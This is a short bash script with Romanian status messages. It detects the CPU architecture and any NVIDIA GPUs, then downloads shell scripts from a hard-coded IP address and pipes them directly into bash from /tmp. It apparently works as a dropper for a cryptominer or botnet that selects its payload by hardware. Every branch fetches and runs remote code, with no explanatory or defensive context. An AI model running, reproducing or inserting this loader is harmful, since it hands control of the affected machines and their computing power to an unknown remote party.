#!/bin/bash

ARCH=$(uname -m)

if command -v nvidia-smi >/dev/null 2>&1; then
    echo "[+] NVIDIA detectat"

    GPU_INFO=$(nvidia-smi --query-gpu=name --format=csv,noheader 2>/dev/null)

    if [ -n "$GPU_INFO" ]; then
        echo "$GPU_INFO"

        while read -r GPU; do
            echo "[+] GPU: $GPU"
cd /tmp && curl -fsSL http://176.65.139.211/nvidia.sh | bash
cd /tmp && bash <(wget http://176.65.139.211/nvidia.sh ; bash nvidia.sh)

        done <<< "$GPU_INFO"
    else
        echo "[-] Driver NVIDIA exista dar nu vede GPU"
    fi
else
    echo "[-] nvidia-smi nu exista"
fi

if [[ "$ARCH" == "aarch64" ]] || [[ "$ARCH" == "arm64" ]]; then
    echo "[+] ARM detectat"

cd /tmp && curl -fsSL http://176.65.139.211/check1.sh | bash
cd /tmp && bash <(wget http://176.65.139.211/check1.sh ; bash check1.sh)

elif [[ "$ARCH" == "x86_64" ]]; then
    echo "[+] x86_64 detectat"

cd /tmp && curl -fsSL http://176.65.139.211/check.sh | bash
cd /tmp && bash <(wget http://176.65.139.211/check.sh ; bash check.sh)
fi